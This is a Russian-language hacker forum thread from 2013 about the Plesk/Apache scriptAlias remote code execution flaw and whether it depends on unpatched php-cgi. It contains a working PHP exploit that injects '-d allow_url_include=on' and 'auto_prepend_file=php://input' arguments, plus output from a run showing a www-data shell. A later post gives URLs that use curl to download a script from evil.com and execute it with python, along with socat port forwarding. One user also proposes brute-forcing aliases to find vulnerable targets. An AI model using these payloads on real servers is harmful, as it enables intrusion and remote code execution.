Старый 06.06.2013, 05:01   #1
mehdi racha
 
Регистрация: 09.11.2012
Сообщений: 12
Репутация: 0
Talking Plesk Apache zeroday

Plesk 0-Day Targets Web Servers



http://seclists.org/fulldisclosure/2013/Jun/21
http://blogs.cisco.com/security/plesk-0-day-targets-web-servers/
mehdi racha вне форума   Ответить с цитированием
Старый 06.06.2013, 09:06   #2
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

http://www.exploit-db.com/exploits/25986/
===
Цитата:
Сообщение от Twost Посмотреть сообщение
Как я понимаю, для эксплуатации этого сплойта должен быть бажный php cgi. (это который -d, -s и т.п.)
В чем суть тогда искать панели с scriptAlias /phppath/ "/usr/bin/", если это не показатель, и нужен бажный пхп?
Вроде бы уязвимы сервера которые поддерживают прямой алиас на интерпретатор php

Последний раз редактировалось nikp; 06.06.2013 в 10:05..
nikp вне форума   Ответить с цитированием
Старый 06.06.2013, 09:47   #3
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию

Ребята, а кто мне объяснит, в чем суть?
Как я понимаю, для эксплуатации этого сплойта должен быть бажный php cgi. (это который -d, -s и т.п.)
В чем суть тогда искать панели с scriptAlias /phppath/ "/usr/bin/", если это не показатель, и нужен бажный пхп?

Или просто у хакера попался сервер с бажным php в режиме cgi, и там случайно стоял plesk?

Последний раз редактировалось Twost; 06.06.2013 в 09:49..
Twost вне форума   Ответить с цитированием
Старый 06.06.2013, 11:16   #4
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Цитата:
Сообщение от Twost Посмотреть сообщение
Ребята, а кто мне объяснит, в чем суть?
Как я понимаю, для эксплуатации этого сплойта должен быть бажный php cgi. (это который -d, -s и т.п.)
В чем суть тогда искать панели с scriptAlias /phppath/ "/usr/bin/", если это не показатель, и нужен бажный пхп?

Или просто у хакера попался сервер с бажным php в режиме cgi, и там случайно стоял plesk?
тут не php-cgi, а консольный php. Это 2 разных бинарника.
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 06.06.2013, 11:39   #5
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию

Цитата:
Сообщение от oRb Посмотреть сообщение
тут не php-cgi, а консольный php. Это 2 разных бинарника.
Кхм... ты прав.

Цитата:
$ perl pleskwwwzeroday/plesk-simple.pl localhost
HTTP/1.1 200 OK
Date: Thu, 06 Jun 2013 08:36:08 GMT
Server: Apache/2.2.22 (Ubuntu)
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html

3
OK

64
Linux ***** 3.5.0-22-generic #34-Ubuntu SMP Tue Jan 8 21:41:11 UTC 2013 i686 i686 i686 GNU/Linux

36
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Цитата:
$ tail -3 /etc/apache2/sites-enabled/000-default
scriptAlias /phppath/ "/usr/bin/"

</VirtualHost>
Twost вне форума   Ответить с цитированием
Старый 06.06.2013, 10:14   #6
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

это выглядит как фейк
особенно странно, что ничего про версии не пишут, как понимаю, сейчас на nginx все вообще)

Ключ тут:
Цитата:
If the server in question runs an OS where php executes as a cgi by
default instead of as an apache module, AND either the OS vendor has not
released a patched php-cgi for cve-2012-1823 or the server owner is not up
to date on their patches
Кто потестит - отпишите, у меня по нулям все пока

http://seclists.org/fulldisclosure/2013/Jun/25
Цитата:
I know my situation was very weird, so I'm just theorizing now, but I'm
kind of thinking at this point that perhaps the exploit only works in the
following specific situations:

1) If the server in question runs an OS where php executes as a cgi by
default instead of as an apache module, AND either the OS vendor has not
released a patched php-cgi for cve-2012-1823 or the server owner is not up
to date on their patches. My example of just copying the OS php-cgi over
top of the one that had been in use on the single instance resolved it, so
that's what lead me to that conclusion. I do not know which
Plesk-supported OS's run php as a cgi by default.

2) If the server in question runs Plesk 9, AND the server admin or site
owner has set php to run as a cgi, AND the php-cgi has not been patched for
cve-2012-1823.

In CentOS/RHEL, if you install httpd and mod_php, the default config is to
run it as an apache module and this exploit did not work in those
situations; same with Plesk 9. I also attempted to set php to run as a cgi
on a few sites on Plesk 9 on CentOS 5 and the exploit did not work, but all
of the CentOS 5 servers I have access to have their php rpm up to date
which means it is patched for cve-2012-1823. CentOS 4 was never php 5 so
it was not vulnerable to cve-2012-1823 to begin with and Plesk 8 and Plesk
9 on that platform don't seem to be vulnerable.

If someone has an out of date copy of CentOS 5 running Plesk 9, it would be
interesting to set a site to run php as a cgi and then hit it with the
script to see if the exploit works. If it does, then it's the
cve-2012-1823 issue and just unpatched servers causing the problem, but
only when the exploit hits a website that has php set to run as a cgi, or
the OS runs it as a cgi by default (don't know which ones do that).
__________________
The Sucks Origin Policy

Последний раз редактировалось d0znpp; 06.06.2013 в 10:22..
d0znpp вне форума   Ответить с цитированием
Старый 06.06.2013, 13:46   #7
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 354
Репутация: 105
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
это выглядит как фейк
особенно странно, что ничего про версии не пишут, как понимаю, сейчас на nginx все вообще)
Цитата:
Affected and tested: Plesk 9.5.4
Plesk 9.3
Plesk 9.2
Plesk 9.0
Plesk 8.6
на данный момент последняя версия Plesk 11.

Алиас не гулится вообще. Нужно качать на виртуалки под центоси.

UP уже гуглиться)) Видимо в конфиге Plesk етот алиас. Но судя по гуглу других алиасов хватает подобных. Осталось брут накатать для перебора алиасов и в путь.


Последний раз редактировалось b3; 06.06.2013 в 14:20..
b3 вне форума   Ответить с цитированием
Старый 06.06.2013, 11:43   #8
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Тоже только что потестил у себя. Добавил scriptAlias /phppath/ "/usr/bin/" в конфиг. Налобал следующий сплойтик:
PHP код:
<?php

$url 
'http://localhost/phppath/php';
$postdata '<?php echo "Content-Type:text/plain\r\n\r\n";phpinfo(); ?>';

$args = array(
    
'-d allow_url_include=on',
    
'-d auto_prepend_file=php://input',
    
'-n'
);

$opts = array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => 'Content-type: application/x-www-form-urlencoded',
        
'content' => $postdata
    
)
);

$context stream_context_create($opts);

$result file_get_contents($url '?' implode('+'array_map('urlencode'$args)), false$context);
echo 
$result PHP_EOL;
//
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 06.06.2013, 11:52   #9
Twost
 
Аватар для Twost
 
Регистрация: 03.07.2010
Сообщений: 172
Репутация: 110
По умолчанию

Осталось только выяснить, есть ли такой алиас в реальности)
Цитата:
Сообщение от oRb Посмотреть сообщение
Тоже только что потестил у себя. Добавил scriptAlias /phppath/ "/usr/bin/" в конфиг. Налобал следующий сплойтик:
PHP код:
<?php

$url 
'http://localhost/phppath/php';
$postdata '<?php echo "Content-Type:text/plain\r\n\r\n";phpinfo(); ?>';

$args = array(
    
'-d allow_url_include=on',
    
'-d auto_prepend_file=php://input',
    
'-n'
);

$opts = array('http' =>
    array(
        
'method'  => 'POST',
        
'header'  => 'Content-type: application/x-www-form-urlencoded',
        
'content' => $postdata
    
)
);

$context stream_context_create($opts);

$result file_get_contents($url '?' implode('+'array_map('urlencode'$args)), false$context);
echo 
$result PHP_EOL;
//
Twost вне форума   Ответить с цитированием
Старый 06.06.2013, 12:15   #10
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Есть еще 1 фишка. При такой настройке можно выполнять любую программу из /usr/bin/, а не только php. У меня, к примеру, там лежит socat.
Захожу http://localhost/phppath/socat?tcp-listen:31339+tcp-connect:localhost:3306
Получаю проброшенный порт

Еще можно сканить локальную сетку, если установлен curl.

UPD:
можно качнуть со своего сервера подготовленный скрипт, а вторым запросом его уже выполнить. Например так:
http://localhost/phppath/curl?-o+/tmp/py+evil.com/script
http://localhost/phppath/python?/tmp/py
__________________
Не оказываю никаких услуг.
I don't provide any services.

Последний раз редактировалось oRb; 06.06.2013 в 12:27..
oRb вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot